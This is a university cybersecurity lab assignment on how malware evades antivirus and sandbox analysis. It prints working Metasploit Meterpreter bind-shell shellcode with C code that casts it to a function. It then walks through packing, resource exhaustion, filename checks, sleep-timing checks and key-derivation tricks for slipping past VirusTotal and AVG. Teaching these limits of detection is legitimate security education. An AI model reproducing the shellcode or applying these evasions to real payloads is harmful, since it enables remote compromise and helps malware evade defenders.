CS 577 Cybersecurity Lab

Lab 9 – due 12/3/15 11:59pm

Subject: Malware Evasion Strategies

Malware analysis engines use a combination of static and dynamic analysis techniques to detect malware. This assignment will help you understand the limitations of the techniques used and how malware authors exploit them to avoid detection by testing your "malware" against popular malware detection engines and programs.

Static analysis methods are applied on the binary without running it, while dynamic analysis methods usually launch executables in a virtual environment and execute them for a certain amount of time. This way the engine allows malware to unpack and can identify behaviors that only demonstrate when the malware is executed.

However, since the malware is run in a virtual environment and engines can only dedicate a certain amount of resources for the analysis of each sample, malware is able to evade detection through detecting the environment or exhausting resources.

Pretending to be malicious

To test a malware detection engine you will try to emulate malware programs. Since many malware contain shellcode to launch exploits against vulnerable services (e.g., worms) or obfuscate their payload, one way you can do this is to include shellcode, like the one below, in your program and appear to use it, even if you are not executing it.

```
/*
 * windows/meterpreter/bind_tcp - 298 bytes (stage 1)
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=80, RHOST=, EnableStageEncoding=false,
 * PrependMigrate=false, EXITFUNC=process, AutoLoadStdapi=true,
 * InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true,
 * EnableUnicodeEncoding=true
 */
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
```

```
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31"
"\xdb\x53\x68\x02\x00\x00\x50\x89\xe6\x6a\x10\x56\x57\x68\xc2"
"\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53"
"\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d"
"\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
"\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3";


  /* Declare pointer on function */
  void (*func) ();
  /* Cast shellcode into function */
  func = (void (*) ()) buf;
```

Online Malware Detection Engine

The engine you will use to test your programs is
VirusTotal: https://www.virustotal.com/

VirusTotal uses multiple engines to test your executable. Once it scans an executable, it caches the results using the hash of the program to quickly provide responses to queries on the same executable.

Avoid flooding the engine with queries as you may be banned!

Local Antivirus Scanner

You can use the free version of AVG AntiVirus.

Deliverables

Multiple versions of your "malicious" program with documentation of your findings when scanning with VirusTotal and the antivirus scanner.

1. **Baseline (10pts)**
   Create a small **Windows** program that emulates malicious behavior by including the given shellcode. You can compile this using Cygwin or Visual

Studio. Scan your program with both VirusTotal and the antivirus and report the results. Provide a discussion of the negative and/or positive results.

2. **Packing (20pts)**
   Extend the malware created in phase 1 by packing the shellcode and unpacking it right before executing it. You can utilize encryption or compression to pack the shellcode. Scan your program with both VirusTotal and the antivirus and report the results. Provide a discussion of the negative and/or positive results.
3. **Consume memory resources to avoid detection (10pts)**
   Extend the malware created in phase 2 to allocate (and use) significant amounts of memory to stop the analysis **before** unpacking the shellcode. Scan your program with VirusTotal and report the results. Why using the memory may have an effect? Provide a discussion of the negative and/or positive results.
4. **Consume CPU resources to avoid detection (20pts)**
   Extend the malware created in phase 2 to perform a computationally intensive operation (e.g., the simplest but not most effective may be a huge loop) to stop the analysis **before** unpacking the shellcode. (a) Scan your program with VirusTotal and report the results. (b) A more advanced approach involves computing the value which you use for the key to unpacking. Test again and report your new results. (c) If it makes sense, add the evasions developed in this phase to your most evasive malware, test again and report your results. (d) Provide a discussion of the negative and/or positive results.
5. **Analysis Platform Artifact – "What is my name?" (10pts)**
   In the case of VirusTotal, your program is analyzed by various platforms that may rename your binary before executing it. (a) Extend the malware from phase 2 to check the name of your executable (e.g., through the value of *argv[0]*) and prevent unpacking if it does not match the name of your malware. This method is described by Attila Marosi in DeepSec http://blog.deepsec.net/?p=1613 (b) If it makes sense, add the evasions developed in this phase to your most evasive malware, test again, and report your results. (c) Provide a discussion of the negative and/or positive results.
6. **Sleeping the Analysis Engine Away (20pts)**
   As an alternative to timing out the analysis, some malware uses sleep() before unpacking. (a) Extend the malware from phase 2 to include a long sleep() (you may need to experiment with various values for sleep) before unpacking the shellcode to avoid detection. (a) Scan your program with VirusTotal and report the results. (b) The results may not be very good because analysis engines tend to "fast forward" time by emulating sleep. However, you can detect this artifact by retrieving the time online and checking that the required sleep time has indeed elapsed. Implement this evasion, scan your program with VirusTotal and report the results. (c) If it makes sense, add the evasions developed in this phase to your most evasive malware, test again, and report your results. (d) Provide a discussion of the negative and/or positive results.

7. **Can you still be detected? (10pts)**
   If some engine of VirusTotal can still detect your most evasive program consider the following. Protecting the unpacking and execution of your payload with an *if()* switch that entirely bypasses the malicious functionality in your program may not be enough. Engines may force the program to skip the *if* statement, exactly to avoid such situations. Try to eliminate that *if* by including the result of the boolean expression used in calculating the key for unpacking the shellcode. Implement this last evasion to create your most evasive malware, scan it with VirusTotal and report the results. Provide a discussion of the negative and/or positive results.

Submission information

You can develop for this lab using your laptop and a recent version of Windows (7 or 8). For each deliverable, submit source code, the Windows executables you tested, and a report with the results and your comments. Submit all your files as a tar.gz archive through Canvas.